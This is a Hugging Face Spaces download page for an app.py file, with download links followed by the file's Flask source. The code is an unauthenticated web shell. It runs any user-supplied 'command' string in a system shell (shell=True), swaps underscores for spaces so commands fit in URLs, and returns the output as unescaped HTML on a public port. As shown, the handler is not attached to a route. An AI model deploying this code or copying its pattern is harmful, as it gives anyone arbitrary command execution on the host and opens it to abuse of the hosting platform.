Download app.py from org-us/kaka2: direct link, hf CLI and curl.
- Browser
- Download file 1.31 kB
-
https://huggingface.co/spaces/org-us/kaka2/resolve/main/app.py
- Command line
-
hf download hf://spaces/org-us/kaka2/app.py
-
curl -L -o app.py https://huggingface.co/spaces/org-us/kaka2/resolve/main/app.py
1.31 kB
| from flask import Flask, request, render_template_string, Response | |
| import subprocess | |
| from ansi2html import Ansi2HTMLConverter | |
| app = Flask(__name__) | |
| conv = Ansi2HTMLConverter(inline=True) | |
| def execute_command(command): | |
| try: | |
| if not command: | |
| return render_template_string(''' | |
| <h1>There's nothing in here:)</h1> | |
| <form method="GET"> | |
| <input type="text" name="command" placeholder="Enter command"> | |
| <button type="submit">Execute</button> | |
| </form> | |
| ''') | |
| # Replace underscores with spaces | |
| command = command.replace("_", " ") | |
| # Execute command | |
| process = subprocess.Popen( | |
| command, | |
| shell=True, | |
| stdout=subprocess.PIPE, | |
| stderr=subprocess.PIPE, | |
| text=True | |
| ) | |
| stdout, stderr = process.communicate() | |
| # Convert ANSI codes to HTML | |
| html_output = conv.convert(stdout + stderr, full=False) | |
| return render_template_string('''{{ output | safe }} | |
| ''', output=html_output) | |
| except Exception as e: | |
| return f"Error: {e}" | |
| if __name__ == '__main__': | |
| app.run(host='0.0.0.0', port=7860) |